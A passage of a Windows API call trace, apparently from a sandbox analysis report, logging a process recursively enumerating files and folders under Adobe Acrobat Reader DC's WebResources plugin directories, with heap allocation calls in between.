[0258.943] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.943] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x464, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.943] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.943] GetProcessHeap () returned 0xc10000 [0258.943] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.943] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0258.943] GetProcessHeap () returned 0xc10000 [0258.943] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.944] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.944] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.944] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.944] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.944] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.944] GetProcessHeap () returned 0xc10000 [0258.945] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.945] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0258.945] GetProcessHeap () returned 0xc10000 [0258.945] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0258.945] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.945] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.945] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.945] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.945] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.946] GetProcessHeap () returned 0xc10000 [0258.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.946] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0258.946] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0258.946] GetProcessHeap () returned 0xc10000 [0258.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0258.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7044, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0258.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1754, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0258.946] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1754, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0258.946] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0258.946] GetProcessHeap () returned 0xc10000 [0258.946] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.948] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0258.948] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0258.948] GetProcessHeap () returned 0xc10000 [0258.948] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.948] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files-select", cAlternateFileName="MY-REC~1")) returned 1 [0258.949] GetProcessHeap () returned 0xc10000 [0258.949] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.949] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files-select\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.950] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.950] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0258.950] GetProcessHeap () returned 0xc10000 [0258.950] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files-select\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0258.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.951] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.951] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0258.951] GetProcessHeap () returned 0xc10000 [0258.951] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.951] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0258.951] GetProcessHeap () returned 0xc10000 [0258.952] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files-select\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0258.952] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.952] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0258.952] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0258.952] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0258.952] GetProcessHeap () returned 0xc10000 [0258.952] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.952] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0258.952] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.953] GetProcessHeap () returned 0xc10000 [0258.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.953] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ob-preview", cAlternateFileName="OB-PRE~1")) returned 1 [0258.953] GetProcessHeap () returned 0xc10000 [0258.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.953] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.953] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0258.953] GetProcessHeap () returned 0xc10000 [0258.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.954] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.954] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0258.954] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1982, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0258.954] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1982, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0258.955] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.955] GetProcessHeap () returned 0xc10000 [0258.955] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.955] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, 